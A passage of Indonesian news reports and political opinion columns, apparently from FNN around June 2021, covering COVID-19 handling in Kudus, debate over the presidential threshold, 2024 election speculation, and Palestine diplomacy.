DPP PDI Perjuangan Hasto Kristiyanto. Menhan Prabowo Subianto hadir dengan didampingi jajaran pejabat di Kemhan. Selain itu, sejumlah pejabat negara ikut hadir, antara lain Menteri Hukum dan HAM Yasonna Laoly, Menteri Kelautan dan Perikanan Wahyu Trenggono, Kasad Jenderal Andika Perkasa, Kepala BIN Budi Gunawan, serta para wakil kepala staf angkatan. (sws)

Panglima TNI dan Kapolri Cek Penanganan COVID-19 di Kudus

Kudus, FNN - Panglima TNI Marsekal Hadi Tjahjanto bersama Kapolri Jenderal Pol Listyo Sigit Prabowo serta Kepala BNPB Ganip Warsito mengecek upaya penanganan COVID-19 di Kabupaten Kudus, Jawa Tengah, menyusul lonjakan kasus yang terjadi dan tertinggi di Jateng, Minggu. Kunjungan mereka ke Kudus, setelah sebelumnya meninjau pelaksanaan vaksinasi di tiga kabupaten di Jateng, seperti Kabupaten Blora, Ciacap, dan Pati. Turut hadir dalam kunjungan tersebut, Gubernur Jateng Ganjar Pranowo, Kapolda Jateng Irjen Pol Ahmad Luthfi, Pandam IV Kodam Diponegoro Mayjend TNI Rudianto, beserta pejabat utama Polda Jateng dan Kodam IV Diponegoro. "Kami sangat prihatin dengan meningkatnya COVID-19 di Kabupaten Kudus ini. Kami minta semua pihak termasuk TNI dan Polri agar lebih intensif dalam penanganan COVID-19," kata Kapolri Jenderal Pol Listyo Sigit Prabowo melalui rilis yang diterima ANTARA, Minggu. Dari data yang diterima, kata Sigid, jumlah yang terkonfirmasi COVID-19 sebanyak 7.975 orang, sedangkan sembuh 5.918 orang, dan meninggal dunia 659 orang. Hal ini menjadi perhatian khusus dirinya bersama Panglima dalam menangani COVID di Kabupaten Kudus. "Ketersediaan tempat tidur di tujuh rumah sakit di Kabupaten Kudus juga semakin menipis karena dari 393 tempat tidur sudah terisi 359 tempat tidur atau 91 persen. Sementara ruang ICU dari 41 tempat tidur juga terisi 92 persen atau 38 tempat tidur," ujarnya. Kondisi tersebut membuat Kabupaten Kudus dalam kondisi yang kurang baik apalagi jika terjadi penambahan kasus aktif di wilayah sekitarnya. Untuk itu dia meminta semua instansi baik TNI Polri, bersama-sama menangani COVID-19 di Kabupaten Kudus agar kembali pulih seperti semula. "Masalah COVID-19 merupakan tanggung jawab bersama bukan hanya pemerintah, TNI ataupun Polri. Tetapi menjadi tanggung jawab bersama karena keselamatan rakyat adalah hukum tertinggi, oleh karena itu semua harus bergerak bersama," terangnya. Pemerintah, TNI dan Polri sangat membutuhkan peran serta masyarakat untuk mencegah penularan COVID-19. Minimal saling mengingatkan untuk disiplin terhadap protokol kesehatan dengan menerapkan 3M (memakai masker, mencuci tangan dan menghindari kerumunan). Polri bersama dengan TNI juga menyiapkan delapan Armoured Water Cannon (AWC) untuk menyemprotkan cairan desinfektan di sejumlah tempat sebagai upaya mencegah penyebaran penyakit virus corona di Kudus. Kapolri juga memerintah Kapolda Jateng untuk lebih fokus menangani enam desa yang terpapar COVID-19 untuk menerjunkan satu SSK pasukan Brimob menjaga desa tersebut. Sehingga, tidak ada warga yang keluar kemanapun selama Isolasi mandiri. Semua pasukan baik dari Babinsa, Babinkhamtibmas, Batalyon dan Brimob serta tenaga kesehatan, semuanya ditempatkan di Kabupaten Kudus dengan harapan COVID-19 di Kudus bisa segera hilang.

Ketua DPD RI Sebut Empat Implikasi dari Presidential Threshold

Yogyakarta, FNN - Ketua Dewan Perwakilan Daerah Republik Indonesia, AA LaNyalla Mahmud Mattalitti menyatakan ada empat implikasi dampak dari presidential threshold yang merupakan amanat dari Undang-Undang Nomor 7 Tahun 2017 tentang Pemilihan Umum (Pemilu). "Setidaknya ada empat implikasi dari presidential threshold. Pertama adalah bagaimana pemilihan presiden (pilpres) hanya akan memunculkan dua pasangan calon yang head to head," kata LaNyalla dalam siaran pers saat pada FGD dengan tema "Presidential Threshold: Antara Manfaat dan Mudarat" di Universitas Muhammadiyah Yogyakarta (UMY), Sabtu (5/6). Presidential threshold atau ambang batas capres merupakan syarat pasangan calon di pilpres, di mana pasangan harus diusulkan partai politik atau gabungan partai politik yang memenuhi persyaratan perolehan kursi paling sedikit 20 persen dari jumlah kursi DPR, atau 25 persen dari suara sah secara nasional pada pemilu anggota DPR sebelumnya. Keadaan tersebut, kata Ketua DPD RI, dapat mempersempit kemungkinan lahirnya lebih dari tiga pasangan calon presiden dan calon wakil presiden (capres-cawapres). "Meskipun di atas kertas didalilkan bisa memunculkan tiga hingga empat pasangan calon, tetapi tidak begitu dalam praktiknya. Buktinya, dalam pemilu yang lalu-lalu bangsa ini hanya sanggup memunculkan dua pasang calon," kata LaNyalla. Dampak dengan hanya ada dua pasangan calon dalam pilpres, kata dia, adalah bisa menyebabkan pembelahan politik dan polarisasi yang begitu kuat di akar rumput. "Kondisi itu masih dirasakan hingga detik ini, meski sudah ada rekonsiliasi. Tentu sangat tidak produktif bagi perjalanan bangsa dan negara ini," katanya. Menurut dia, implikasi kedua dari presidential threshold adalah menghambat putra-putri terbaik bangsa yang hendak maju di pilpres, tanpa naungan partai politik. "Karena sejatinya negeri ini tidak kekurangan calon pemimpin kompeten. Tetapi, kemunculannya digembosi aturan main yang sekaligus mengurangi pilihan rakyat untuk menemukan pemimpin terbaiknya. Semakin sedikit kandidat yang bertarung, akan semakin mengecilkan peluang munculnya pemimpin yang terbaik," kata LaNyalla. Kemudian implikasi ketiga adalah bagaimana presidential threshold berpotensi memundurkan kesadaran dan partisipasi politik rakyat, sebab dikatakan LaNyalla, pembatasan calon berarti membatasi saluran politik pemilih. "Peluang pemilih untuk tidak memilih alias golput menjadi tinggi, karena calon terbaik menurut mereka tidak mendapat tiket untuk maju. Sehingga kedaulatan rakyat melemah digerus kedaulatan partai yang semakin menguat," katanya. Implikasi keempat dari presidential threshold, yakni tidak berdayanya partai kecil di hadapan partai besar mengenai pasangan calon yang akan diusung bersama. Padahal, partai politik seharusnya didirikan untuk mengusung kadernya agar bisa tampil menjadi pemimpin nasional. "Tetapi dengan aturan ambang batas presiden itu, maka peluang kader partai politik untuk tampil menjadi tertutup. Karena hanya partai politik besar atau gabungan partai politik yang dapat mengusung capres dan cawapres," kata mantan Ketua Umum PSSI ini. Dari argumentasi tersebut, LaNyalla menganggap aturan presidential threshold sebenarnya lebih banyak mudaratnya ketimbang manfaatnya. Apalagi dalil bahwa presidential threshold disebut untuk memperkuat sistem presidensil agar presiden terpilih memiliki dukungan yang kuat di parlemen, justru membuat mekanisme check and balances menjadi lemah. "Karena partai politik besar dan gabungan menjadi pendukung presiden terpilih. Akibatnya yang terjadi adalah bagi-bagi kekuasaan dan DPR menjadi legitimator kebijakan pemerintah. Inilah persoalan yang sebenarnya ada di hulu, bukan di hilir," kata LaNyalla. LaNyalla menjelaskan, UU Pemilu sendiri merupakan buah dari amandemen UUD 1945 terdahulu. Menurutnya, amandemen konstitusi dari tahun 1999 hingga 2002 menjadi dasar lahirnya undang-undang yang menjadikan wajah Indonesia seperti hari ini. Oleh karenanya, senator asal Jawa Timur itu mengajak seluruh masyarakat untuk jujur menjawab dengan hati nurani, apakah arah perjalanan bangsa Indonesia semakin menuju kepada apa yang dicita-citakan oleh founding fathers bangsa ini atau semakin menjauh?. "Karena itulah, kenapa saya menggulirkan wacana amandemen ke-5, sebagai momentum untuk melakukan koreksi atas arah perjalanan bangsa. Sehingga kita harus mendorong MPR RI untuk bersidang dengan agenda amandemen, tetapi dengan suasana kebatinan untuk melakukan koreksi dan perbaikan atas amandemen yang terjadi di tahun 1999 hingga 2002," katanya. Menanggapi presidential treshold, Rektor UMY Gunawan Budiyanto mengatakan bahwa hal tersebut tergantung dilihat dari aspek mana. Jika dilihat dari sisi kekuasaan tentu bermanfaat, karena sebagai sarana untuk menguasai kepentingan sebagai penguasa. "Kalau dari sisi rakyat tentunya ya dilihat sendiri. Banyak mudharatnya. Sebab adanya tirani kekuasaan akan menyebabkan kepentingan rakyat tertinggal," katanya. Sedangkan pembicara dalam FGD, Zainal Arifin Mochtar yang juga pakar hukum Tata Negara UGM mengatakan presidential threshold hanya untuk mengonsentrasikan kekuasaan untuk kepentingan tertentu. "Ini tidak bisa dilepaskan dari permainan oligarki. Yang kemudian kita takutkan adalah jangan-jangan kita dimainkan oleh sistem yang oligarki yang seakan-akan bagus dan dijamin MK (Mahkamah Konstitusi)," katanya. Meski demikian, menurut Zainal sebenarnya tidak perlu dengan amandemen guna menjawab soal Presidential Threshold, namun lebih mudah dengan Revisi UU tentang Pemilu, terutama pasal-pasal soal ambang batas itu. "Amandemen jangan sampai merusak sistem presidensiil. Presidensiil itu yang memilih presiden adalah rakyat. Jangan sampai presiden dipilih lagi oleh MPR atau parlemen," katanya. Dosen Fakultas Hukum UMY, Iwan Satriawan mengatakan banyak barikade-barikade yang harus dilalui dalam menggugat Presidential Threshold, karena pasti ada pihak-pihak yang menguncinya. "Semoga barikade itu bisa dibuka oleh DPD RI, tetapi DPD tidak bisa sendiri, harus dengan bantuan dari gerakan mahasiswa, organisasi-organisasi masyarakat atau civil society lainnya," katanya. Iwan sepakat semua partai harus bisa mencalonkan presiden, dan tidak dikunci dengan adanya ambang batas pencalonan presiden. "Kalau menurut saya, presidential threshold harus dihapuskan, agar muncul calon-calon potensial. Perlu tekanan publik yang kuat agar parpol memikirkan kepentingan negara bukan menghamba pada oligarki," katanya. (sws)

Terbuai Kemunafikan Demokrasi

Survei Akar Rumput Strategis Consulting (ARSC) yang dirilis 22 Mei 2021 baru-baru ini menemukan, 71,49 persen responden ingin calon presiden tidak harus kader partai dan hanya 28,51 persen saja yang menginginkan calon presiden dari kader partai. Studi ini harus direspon dengan baik. Oleh Tamsil Linrung Jakarta, (FNN) - ADA banyak kemunafikan yang memompa denyut demokrasi di negeri ini. Hipokrasi itu membuai. Salah satunya berdetak pada pelaksanaan Pemilihan Umum (Pemilu). Di hilir, rakyat dihipnotis seolah bebas dan berdaulat memilih pemimpin. Tetapi di hulu, daulat dan kebebasan itu dipasung secara konstitusional melalui aturan bernama Presidential Threshold (PT) alias ambang batas pencalonan presiden. Tak perlu mengulang-ulang mudharat PT yang lebih dominan ketimbang manfaatnya. Tentang hal ini, analisisnya telah banyak berserakan di media massa. Pun, sejarah telah memberi alarm. Setelah PT diangkat ke level 20 persen, pelaksanaan Pilpres 2014 dan 2019 terbukti hanya sanggup melahirkan dua pasang kandidat. Rakyat tidak punya pilihan lain. Terpaksa berikhtiar memilih satu dari dua pasang kandidat yang disuguhkan. Politik Kongsi harus pula diantisipasi. Dalam sebuah tulisan berjudul "UU Pemilu: Menakar Politik Kongsi," saya memaparkan potensi fenomena ini. Intinya, rekonsiliasi elitis Prabowo-Sandi dengan Jokowi-Ma'ruf Amin, meski dipandang baik, namun dapat mengilhami lahirnya cara-cara buruk berpolitik di masa yang akan datang. Berkongsi dalam politik adalah lumrah. Namun, menjadi jahat ketika kongsi dilakukan dengan mendesain hanya dua pasang kandidat Capres-Cawapres, bisa benar-benar berlawanan, bisa pula seolah-olah berseteru. PT membuka peluang menuju dua kemungkinan itu. Terlebih ketika oligarki terendus semakin menguat. Didukung jaringan dan sokongan finansial, oligarki bisa mengatur badut politik pada dua kubu bersebelahan. Siapa pun yang terpilih, pada akhirnya tetap menguntungkan sang cukong. Syukur-syukur, keuntungan itu bisa dibuat berlipat dengan mengondisikan semua kandidat dalam satu pemerintahan yang sama, kelak. *** Sebagai upaya menjaga muruah kedaulatan rakyat, Dewan Perwakilan Daerah (DPD) RI terpanggil bergerak. Dalam beberapa pekan terakhir, Pimpinan DPD RI dan sejumlah Anggota DPD turun gunung. Menggalang dukungan masyarakat, pemda, pihak kampus, dan sejumlah stakeholders (pemangku kepentingan) bangsa lainnya. Langkah itu dipandang perlu karena belum terlihat greget, baik dari DPR maupun eksekutif untuk lebih serius membahas dan menakar PT secara rasional. Bila Presiden Joko Widodo berkomitmen pada demokrasi, seharusnya ada inisiatif eksekutif review sekaligus lobi-lobi politik. Kita menunggu political will presiden. Pun demikian dengan partai atau fraksi di DPR. Ketimbang menunggu hal yang tidak pasti, DPD bergegas. Hanya beberapa pekan, telah empat provinsi yang disambangi Ketua dan sejumlah Anggota DPD RI. Safari politik ini bermula di Banjarmasin, Kalimantan Selatan, lalu berlanjut di Tarakan, Kalimantan Utara; Makassar, Sulawesi Selatan; dan DIY Yogyakarka. Melalui Focus Group Discussion (FGD) dan sejumlah kegiatan lain di daerah tersebut, terbaca keinginan rakyat untuk disajikan kandidat pemimpin nasional yang beragam dan proporsional dari sisi jumlah pasangan calon, sehingga mereka dapat pula berkontemplasi dalam menetapkan pilihan. Dulu, kalau seorang pemilih tidak senang dengan pasangan A, maka aternatifnya hanya dua, yakni golput atau terpaksa menjatuhkan pilihan pada kandidat pasangan B. Golput tentu tidak sehat bagi demokrasi. Sementara menjatuhkan pilihan pada kandidat B hanya karena tidak menyenangi kandidat A, juga bukan langkah yang sepenuhnya tepat. Rakyat tidak ingin dikekang dan dibuai demokrasi pura-pura lagi. Mereka ingin disajikan beberapa opsi sehingga nalar politiknya juga berkembang. Oleh karena itu, DPD berpendapat PT sebaiknya 0 (nol) persen saja, sehingga semua partai dapat mengusulkan calon presiden. Semakin banyak kandidat yang muncul, semakin besar peluang menghasilkan pemimpin berkualitas. Bagi DPD, salah satu langkah konstitusional yang bisa ditempuh adalah Amandemen Kelima UUD 1945. Pertimbangannya, pertama, karena amandemen pertama hingga keempat masih menyisakan frasa kalimat dan norma yang memungkinkan lahirnya UU yang merugikan bangsa. Lahirnya UU Nomor 7 tahun 2017 tentang Pemilu yang mengatur soal PT, misalnya. Kedua, amandemen kelima membuka langkah penguatan DPD guna menyeimbangkan dua kamar dalam sistem bikameral secara proporsional. Kita tahu, kewenangan DPD di bidang legislasi yang hanya sebatas mengusulkan dan membahas, tetapi tidak ikut dalam pengambilan keputusan. Atau dalam bidang pengawasan, DPD hanya sebatas memberikan masukan kepada DPR sebagai bahan pertimbangan. Ketiga, amandemen kelima membuka peluang kemungkinan memulihkan hak konstitusional DPD RI mengajukan pasangan Capres-Cawapres. Disebut memulihkan karena bila melihat sejarah perjalanan lembaga legislatif, ketiadaan hak DPD mengajukan kandidat Capres-Cawapres adalah kecelakaan hukum yang harus dibenahi. Dulu, sebelum amandemen ketiga UUD 1945, presiden dan wakil presiden dipilih oleh Majelis Permusyawaratan Rakyat (MPR). MPR saat itu terdiri atas DPR dan Utusan Daerah. Artinya, baik DPR selaku Anggota MPR maupun Anggota MPR Utusan Daerah sama-sama memiliki hak mengajukan calon. DPD RI lahir melalui amandemen ketiga, menggantikan utusan daerah. Maka, hak-hak untuk menentukan tata kelembagaan di Indonesia seharusnya tidak dikebiri. Termasuk hak mengajukan Capres-Cawapres. Lagipula, DPD istimewa dalam hal legitimasi. Bila utusan daerah dipilih secara eksklusif oleh anggota DPRD Provinsi, maka anggota DPD dipilih melalui Pemilihan umum (pemilu) secara langsung oleh rakyat. Ini menjadikan DPD sebagai lembaga legislatif non-partisan yang memiliki akar legitimasi kuat, sehingga hak DPD untuk mengajukan calon presiden dan wakil adalah rasional. Berbeda dengan DPD RI, DPR RI tentu sebagai unsur partai sudah terwakili dalam usulan partainya, sehingga tidak perlu ada pembenturan dan kekhawatiran akan keharusan adanya juga calon tersendiri dari unsur DPR RI. Bahkan, menjadi pembenaran rasional ketika masyarakat merindukan kandidat di luar pilihan partai, salah satu pilihannya adalah calon usulan DPD RI, atau dari keterwakilan unsur non partisan. Survei Akar Rumput Strategis Consulting (ARSC) yang dirilis 22 Mei 2021 baru-baru ini menemukan, 71,49 persen responden ingin calon presiden tidak harus kader partai dan hanya 28,51 persen saja yang menginginkan calon presiden dari kader partai. Studi ini harus direspon dengan baik. Anggota DPD dipilih langsung oleh rakyat. Maka penguatan lembaga DPD secara tidak langsung adalah penguatan kedaulatan rakyat. ** Penulis adalah anggota DPD RI.

Lonceng Berakhirnya Jokowi Tahun 2024 Sudah Berbunyi

by M. Rizal Fadillah Bandung FNN - Tentu saja bukan bermakna karena periode sampai dengan tahun 2024, maka selesai masa jabatan Jokowi. Sesuai aturan UUD 1945 memang masa jabatan Presiden hanya dua periode. Akan tetapi yang menjadi ulasan disini ni adalah bahwa pengaruh kekuasaan Jokowi akan tamat. Tidak ada pelanjut. Tak ada protektor dan tak ada lagi ceritra tentang "kejayaan" Jokowi esok-esok. Jokowi benar-benar tamat. Bahkan bukan mustahil setelah tamat nanti, selanjutnya akan masuk pada fase bongkar-bongkar "dosa" Jokowi dan para eksekusinya. Partai politik masih tetap menjadi penentu dalam proses politik. Karenanya konstelasi politik ditentukan oleh dinamika partai politik dalam memainkan ritme kelanjutan penokohan termasuk figur Presiden. Tanpa akses kepada partai politik, maka Jokowi dan para sengkuni semuanya akan selesai. Titik lemah Jokowi adalah bahwa dirinya bukan siapa-siapa, baik jabatan maupun peran dalam partai politik. Jokowi hanya figur yang dibutuhkan untuk jangka waktu sesaat. Sebagai cantolan dari banyak kepentingan. Setelah itu selesai, dan tinggal mempertanggung jawabkan di depan hukum. Tanggung jawab atas terbelahnya anak-anak bangsa. Tanggung jawab atas hutang luar negeri dan dalam negeri yang dibuat selama Jokowi berkuasa. Kemungkinan saat turun nanti 2024 telah mencepai sekitar Rp. 5.000 triliun. Saat ini sudah mencapai sekitar Rp. 3.500 triliun. Saat Soesilo Bambang Yudhoyono (SBY) turun, total hutang pemerintah, dalam dan luar dan luar negeri hanya Rp. 2.980 triliun. Persiapan Pilpres 2024 menjadi landasan penting untuk pembentukan figur politik ke depan. Partai Demokrasi Indonesia Perjuangan (PDIP) memiliki figur trah Soekarno yang terus digelindingkan, yakni Puan Maharani. Ganjar Pranowo yang mencoba mengangkat diri, ternyata “dibuldozer". Partai Gerindra kemungkinan masih mendorong figur Prabowo untuk Capres. Meskipun elektabilitasnya sangat rendah di bawah 3%, namun Partai Golkar besar kemungkinan bakal mendorong sang Ketum Airlangga Hartarto. Demokrat ada Agus Harimurti Yudhoyono (AHY) yang serius dipasarkan oleh kader-kader Partai Demokrat. Partai Keadilan Sejahtera (PKS) dan Partai Nasdem mendekap Capres terkuat saat Anies Baswedan. Sementara PPP, PKB, dan PAN tidak memiliki calon sendiri. PKB kemungkinan hanya bisanya mendorong Ketua Umum Muhaimin Iskandar untuk posisi Cawapres. Posisi tigai partai berbasih pemilih Islam ini lebih pada mendukung figur figur yang kelak manggung. Kalkulatif dan mungkin saja pragmatik. Tidak punya pigur kuat internal yung bakal ddorong untuk Capres. Jika berubah menjadi sedikit dari pandangan ideologis, bisa saja ketiga partai itu mencari figur alternatif seperti Rizal Ramli atau Gatot Nurmantyo, yang meskipun saja untuk hal ini probabilitasnya tidak terlalu besar. Sangat tergantung pada kalkulasi politik di awal-awal 2023 nanti. Semua masih sangat cair. Semua prediksi bisa saja berubah sesuai kebutuhan dan kalkulasi politik. Bagaimana nasib Jokowi ? Gawat, dipastikan akan ditinggalkan oleh partai partai politik koalisi. Partai bercerai berai dalam polarisasinya masing-masing. Jokowi sudah tidak menjadi magnet. Taipan yang sekarang menempel erat, esok dalam kompetisi 2024 tidak berkepentingan lagi dengan Jokowi. Mereka berkalkulasi baru dengan partai atau figur baru yang potensial bertarung. Melihat paket yang mulai ramai seperti Prabowo-Puan, Anies-AHY, Anies-Airlangga atau Rizal Ramli-Gatot Nurmantyo tidak terlihat figur yang menjadi "kepanjangan tangan" Jokowi. Upaya Jokowi untuk mempercepat penokohan Gibran dinilai terlalu berat. Demikian juga survey yang mulai memunculkan Iriana, istri Presiden masih ditertawakan publik. Hanya badut-badutan. Kader PDIP Ganjar Pranowo yang popularitasnya terus meningkat layak untuk didekati Jokowi. Namun kedekatan tanpa komunikasi dan restu Ketua Umum PDIP Megawati Soekarnoputri juga dapat menjadi malapetaka. Apalagi hubungan Jokowi dan PDIP semakin tidak harmonis. Ganjar pun terancam aksi pengasingan dari partai tempat dimana ia bernaung dan dibesarkan. Lonceng kematian Jokowi di 2024 sudah mulai berbunyi. Hanya satu yang bisa menyelamatkannya, yaitu perpanjangan jabatan tiga periode. Artinya harus melakukan amandemen atas konstitusi UUD 1945. Upaya ke amandemen konstitusi bukan pekerjaan mudah. Persoalannya adalah bahwa perpanjangan tiga periode itu bertentangan dengan perasaan keadilan rakyat. Rakyat yang sudah tidak puas dengan Presiden Jokowi yang terlalu berlama-lama melakukan korupsi kekuasaan, hukum dan mungkin, kekayaan. Sulit untuk Jokowi berlanjut mengenggam kekuasaan. Apalagi punya pengaruh paska 2024. Bahkan pengamat ada yang memperkirakan sulit juga Jokowi bertahan hingga 2024. Terlalu banyak masalah dan indikator yang memperlihatkan Jokowi tidak punya kemampuan untuk memimpin tata kelola negara yang baik benar. Saat ini pun kedudukannya mulai digoyah. Perpecahan diantara anak-anak bangsa masih terjadi sejak berakhirnya Pilkada Gubernur DKI 2017 yang berakhir dengan kekalahan Ahok. Penanganan pandemic covid-19 gagal total, korupsi hampir merata di semua lini kekuasaan, diskriminasi hukum telanjang di depan mata, krisis ekonomi mengakibatkan pengangguran dan kemiskinan dimana-mana. Pembungkaman dan kriminalisasi terhadap tokoh-tokoh opsisi oposisi yang menjadi pejuang utama reformasi 1998 seperti Syahganda Nainggolan, Jumhur Hidayat dan Anton Permana. Lumpuhnya demokrasi menjadi persoalan serius. Indeks demokrasi Indonesia lebih buruk. Desakan mundur meski belum terlalu massif, tetapi mulai muncul. Melalui ada gugatan hukum pula. Jokowi akan tamat dengan meninggalkan dosa politik yang mungkin akan menjadi beban atas dirinya. Hutang negara yang besar bukannya tanpa tuntutan pertanggungan jawab, pelanggaran HAM berat baik kasus 21-22 Mei 2019 maupun pembunuhan 6 anggota laskar FPI 7 Desember 2020 tidak mungkin terlupakan. Peraturan Pemerintah Undang-Undang (Perppu) otoritarian akan diotak-atik Kembali. Fatalnya kebijakan soal UU Omnibus Law. Korupsi, Kolusi, dan Nepotisme (KKN) dinati keluarga menarik untuk dibongkar-bongkar. Semua berlangsung tanpa proteksi kekuasaan lagi. Kondisi ini semakin diperparah dengan kecenderungan sikap Megawati yang tidak bisa dipungkiri akibat ulah Jokowi membangun dinasti politik melalui anak dan menantu. Dua-duanya tidak punya kapasitas untuk menjadi walikota Solo dan Medan. Tahun 2024 adalah tamatnya Jokowi dengan belang-belang yang ditinggalkan. Solusi pengamanan memang hanya dua. Pertama, perpanjangan tiga periode. Kedua, mundur sebelum tahun 2024 dengan permohonan maaf serius kepada rakyat atas segala kerusakan tata kelola negara yang dilakukan Jokowi selama berkuasa. Hanya itu cara paling terhormat dan bermartabat. Tutup buku kekuasaan dengan pemaafan rakyat dan bangsa Indonesia. Biarkan rakyat dengan pemimpin barunya yang menata dan menyembuhkan penyakit yang ada dan sangat kronis ini. Pilihan mana yang akan diambil? Entahlah. Terserah Jokowi Penulis adalah Pemerhati Politik dan Kebangsaan.

Anis Matta Dorong Jakarta Jadi Episentrum Pertemuan Pejuang Palestina

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta mengemukakan bahwa Indonesia sebagai negara dengan warga Muslim terbesar bisa menjadikan Jakarta sebagai episentrum pertemuan pejuang Palestina. Anis Matta dalam keterangan pers diterima di Jakarta, Sabtu, mengatakan hal itu akan membawa efek positif bagi Indonesia di mata negara-negara Islam. "Pada dasarnya kami setuju dengan solusi dua negara dan itu sikap Indonesia secara umum. Tapi, kalau kami membuat prediksi tentang masa depan negara ini, Indonesia pada dasarnya bisa ikut memelopori perbincangan tentang hal itu," ujarnya. Pada posisi diplomatik ini, lanjut Anis, Indonesia harusnya bisa menjadi juru damai untuk kekuatan-kekuatan perlawanan yang ada di Palestina, khususnya antara Hamas dan Fatah. "Kita bisa undang Fatah, undang Hamas, dan kelompok-kelompok lain di Indonesia. Saya kira para pejuang Palestina setuju dengan ajakan itu," ucap dia. Dia mengatakan, peran Indonesia dalam konflik Palestina-Israel berada dalam dua posisi. Pertama, posisi diplomatik dan posisi kemanusiaan. Menurut dia, pada posisi diplomatik khususnya forum-forum internasional seperti Perserikatan Bangsa-Bangsa (PBB), Indonesia harus menggugat tentang solusi dua negara (two state nation). Artinya, menurut Anis Matta, penyelesaian konflik harus berdasarkan prinsip-prinsip yang sudah ditentukan. Solusi dua negara merupakan sikap awal pemerintah Indonesia sejak era Soekarno dalam upaya penyelesaian konflik Palestina-Israel. Sementara itu Sekretaris Umum PP Muhammadiyah Prof Abdul Mu’ti dalam kesempatan yang sama menyampaikan, Muhammadiyah sejak awal konsisten dengan kemerdekaan Palestina. "Konflik Palestina-Israel bukan masalah teologi, tapi politik. Walaupun survei SMRC, sebagian besar umat Islam berpendapat masalah Palestina ini masalah umat Islam dengan Yahudi. Tapi Muhammadiyah melihat ini dimensi politik, walaupun dimensi keagamaannya sangat kuat," tutur-nya. Hal itu lanjut dia karena ada pihak tertentu yang secara politik berusaha menarik ke ranah agama. Mu’ti menjelaskan, konflik keduanya merupakan benturan antara kelompok fundamentalis di kedua belah pihak. Hamas yang beberapa kali menang Pemilu dianggap sebagai kelompok fundamentalis. “Netanyahu menang Pemilu berkali-kali, dan PM yang baru lebih fundamentalis. Keduanya tidak setuju Palestina dan Israel menjadi dua negara yang berdaulat. Hamas tidak setuju, hanya setuju ada Palestina yang berdaulat, dan pengganti Netanyahu juga punya pendapat yang sama,” ucap-nya. Sebelumnya Direktur Eksekutif Moya Institute Hery Sucipto memantik diskusi dengan menyampaikan pernyataan Menteri Luar Negeri (Menlu) Retno Marsudi saat bertemu dengan Perwakilan Tinggi Urusan Luar Negeri dan Keamanan Uni Eropa, Josep Borrell. Dalam pertemuan itu, Retno menekankan mengenai pentingnya mencegah lingkaran kekerasan dan penyelesaian isu utama, yakni mengakhiri penjajahan Israel atas Palestina berdasarkan solusi dua negara dan parameter-parameter yang telah disepakati di level internasional. (sws)

Golkar DIY Pelopor Utama Jagokan Airlangga sebagai Capres 2024

Bantul, FNN - Dewan Pimpinan Daerah Partai Golkar Daerah Istimewa Yogyakarta menjadi pelopor utama yang menjagokan Ketua Umum DPP Partai Golkar Airlangga Hartarto sebagai calon presiden dalam Pemilihan Presiden dan Wakil Presiden Tahun 2024. "DPD Golkar DIY pelopor utama menjagokan pak Airlangga sebagai capres, jadi belum meriah seperti ini kita sudah mengajukan capres, termasuk doa-doa rutin kita panjatkan," kata Ketua DPD Partai Golkar DIY Gandung Pardiman usai menghadiri Pelantikan Badan dan Lembaga DPD Partai Golkar Kabupaten Bantul, di Bantul, Sabtu. Oleh karena itu, kata dia, saat ini jajaran DPD Golkar kabupaten dan kota se-DIY mendukung langkah-langkah Ketua Umum (Ketum) Bidang Pemenangan Pemilu Partai Golkar Ahmad Dolly Kurniawan yang sedang melakukan kajian dan simulasi pemasangan capres. "Sekarang baru dikaji dan disimulasi pak Airlangga itu cocoknya dengan siapa, kita dukung sekali, mudah-mudahan simulasi tidak sekadar bagaimana bisa memimpin Indonesia itu bersatu betul," kata Gandung. Selain itu, lanjut dia, bagaimana Pancasila sebagai ideologi negara tetap aman, negara bisa 'ayem tentrem' (tenang dan tenteram) tidak ada agenda-agenda yang tersembunyi dalam mengelola negara. "Itu salah satu perhitungan pemasangan pak Airlangga, jadi tidak sekadar bagaimana harus menang, tapi bagaimana memimpin negara ini dengan baik. Pak Dolly yang melakukan kajian," kata anggota DPR RI dari DIY tersebut. Ketua DPD Golkar DIY menjelaskan bahwa dalam menggaungkan Airlangga sebagai Capres 2024 dalam waktu dekat intenal partai akan mengadakan prarapat koordinasi (rakor) pemenangan pemilu untuk merumuskan bersama dan memberi masukan kepada Ketua Umum. "Jadi, pak Airlangga cocok dengan siapa, kita akan memberikan kriteria simulasi, kriteria akan kita berikan kepada Pak Dolly, mudah-mudahan ada yang bisa memenuhi kriteria yang dicanangkan DPP Partai Golkar, tanggal 10 Juni 2021," katanya. Dia mengatakan, segala kemungkinan untuk berpasangan dengan kandidat dari luar Golkar yang kini muncul bisa terjadi, asalkan punya jiwa pancasilais sejati, bisa pertahankan NKRI, dan mempunyai wawasan kebangsaan kuat serta jiwa kenegarawan. "Kalau dengan pak Anies (Anies Baswedan) bagaimana, dengan Pak Ganjar (Ganjar Pranowo) bagaimana, plus-minusnya bagaimana sekarang baru digodok di DPP Partai Golkar, jadi ini digodok oleh satu tim, bagaimana yang cocok untuk jago kita ini," kata Gandung. (sws)

PDIP Minta Kader Turun Raih Simpati Warga Sumbar

Padang, FNN - Ketua DPP PDI Perjuangan Bidang Keagamaan Hamka Haq meminta kader partai turun ke bawah untuk meraih simpati masyarakat daerah ini guna menjaga elektabilitas partai. "Seluruh struktur partai harus turun ke seluruh lapisan masyarakat dan fokus menggalang generasi milenial yang jumlahnya sekitar 51 persen," kata dia saat memberikan arahan pada Rapat Kerja Daerah (Rakerda) PDIP Sumatera Barat, di Padang, Sabtu. Ia meminta kalangan kader partai untuk selalu menjaga citra partai. Menurut dia, dalam beberapa waktu terakhir ini elektabilitas partai naik turun dari 24 persen kemudian jadi 19 persen. Hal ini disebabkan sejumlah kader terkena prahara. Namun saat ini elektabilitas partai sudah pada angka 22 persen merujuk sejumlah hasil survei beberapa lembaga survei, katanya. "Seluruh kader jangan sampai terbuai dengan hasil survei sebagaimana sering ditegaskan ibu Ketua Umum DPP PDIP Megawati Soekarnoputri dalam berbagai kesempatan," kata dia. Ia mengingatkan seluruh kader partai agar tidak terlibat korupsi dan narkoba apabila terlibat dua hal ini maka akan langsung dipecat. "Perilaku korupsi dan narkoba merupakan perbuatan tercela secara agama dan hukum di negara kita," kata dia.

BPK Perintahkan Audit Harga Barang/Jasa Penanganan COVID-19 Sultra

